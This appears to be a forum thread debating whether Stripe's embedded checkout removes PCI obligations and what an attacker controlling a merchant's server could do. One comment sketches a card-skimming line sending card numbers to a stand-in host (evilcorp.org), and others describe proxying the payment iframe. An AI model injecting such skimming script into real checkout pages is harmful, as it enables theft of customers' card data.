Especially when most stripe using sites embed the payment request in their page and there's no way for end users to tell that it's using stripe without looking in the source of the page. If that got re-directed by an attacker 99+% of users wouldn't notice I reckon.
Stripe does not bypass PCI. Stripe does not transmit any credit card information to your servers and if there are no CC info on your server then you don't have to deal with PCI compliance.
If your server gets hacked you don't have any customer info stored on it. All you have is a stripe token.
Well the server holds the checkout page. And the server is hacked. So if attacker just add onblur = getjson(evilcorp.org?cc=value) to the checkout page attacker got the cc details. No?
ONE:
You don't use stripe and save all you customer info locally and procces it some other way
TWO:
You use stripe and never store any CC info on your server.
THEN:
Your server is hacked. In ONE, you lose customer CC info because it is stored on your server. In TWO, you do NOT. Sure they can redirect you to a fake payment page, but that will get noticed quickly and damage will be limited to "phished" users not your entire user base.
For CC details to be stored the attacker needs to modify files though. Other payment gateways just process CC details locally, it is not stored. So either the attacker modifies files to store CC details - or the attacker gets access to log files (but CC details do not belong there either off course).
But generally the credit card data is in fact transmitted via your website to stripe.
While not over the network, the user enters his credit card into the form ON YOUR WEBSITE that POSTs it on to stripe. This means your site has full access to the credit card info, choosing whether or not to store is up to you (or in case you get hacked, up to the hacker).
No. You embed Stripe's iframe, which posts to Stripe. The iframe has a separate origin from your own website, which creates a mutual isolation boundary between your site and that iframe: neither can read or modify the contents of the other. It's just as secure as e.g. Paypal's workflow of redirecting to the Paypal website and back.
It's not the same, if the merchant's webserver is compromised they can just change the src attribute of the iframe to point to their card number collecting iframe that wraps the Stripe iframe. With the redirect method the customer can see in the URL bar where their card data is being sent to.
Iframe is not the only option. You can also create your own HTML form with PAN, expiration date and CVV and tell stripe to get information from that form. Then stripe reads data from your form, encrypts it and sends cryptogram to stripe.com. Nothing stops you (or hacker) from reading that data too.
I'm aware, but I was talking more in the practical sense.
The attacker can replace the iframe with his own and proxy it, or perhaps simply display an error and ask the user to re-insert his payment info into the actual stripe form.
The attacker can replace the server's response with his own form that pretends to be Stripe's, too. In the end, there's no real defense against phishing.
Flow 1: User visits shop.com, selects some items, hits checkout, enters his credit card details into a form on shop.com, hits submit, gets emailed a receipt.
Flow 2: User visits shop.com, selects some items, hits checkout, is redirected to a form on processor.com, enters his card details, hits submit, gets email a receipt.
Now flow 1 and flow 2 could be the same internally if the form in flow 1 was actually from processor.com, just embedded into an iframe displayed on shop.com. But the key is that the user has no idea if it is or not.
The form in frame 1 could be in an iframe from anywhere, or it might actually be embedded directly into the page and posting, again, to anywhere. You just have to take it on faith that shop.com hasn't been compromised, and isn't now sending your details to malware.com.
In flow 2, you only enter your details into a form on processor.com; you no longer need to worry if shop.com has been compromised, you just need to verify that you're actually at processor.com, and not proccesor.com or whatever.
A form that has been replaced is quickly picked up on as the merchant stops receiving payments and the customer will call up to complain that they haven't received the product. An iframe around Stripe's can send the PAN off to a malicious server and then continue the payment process.
This is true, but attempting to defend against the general threat you're describing via PCI DSS is meaningless. Any web site, if hacked to serve misleading content, could collect any visitor's credentials for any payment method. This is true even for sites that normally have nothing to do with collecting card payments and therefore have no obligations under PCI DSS.
I'm not a big believer in the usefulness of schemes like PCI DSS anyway, but to the extent that they might be useful, it's as a checklist of good practices to follow when things are working properly. In that case, clearly there is a significant distinction between sending sensitive data over your own network to be stored on your own servers and sending sensitive data only to a trusted service provider that is better equipped to deal with it securely.
You're confusing "Payment Acceptance" with "Payment Processing". The APIs Visa is exposing on that site of theirs are specifically for payments processing - you have cardholder data and you use it for Authorization/Capture/etc.
Payment Acceptance on the other hand has many different flavors especially in the 'Card Not Present' environment where the end user checks out on the web site for example. There are multiple strategies for that in terms of PCI compliance - companies like Stripe, Cybersource(which is now part of Visa) etc provide those solutions.
There's a nice solution to this that, unfortunately, Stripe doesn't offer. It's the use of an encrypting keypad/mag stripe reader (seen as a USB device) to which your processor has the private key. Unencrypted credit card data never touches your system.
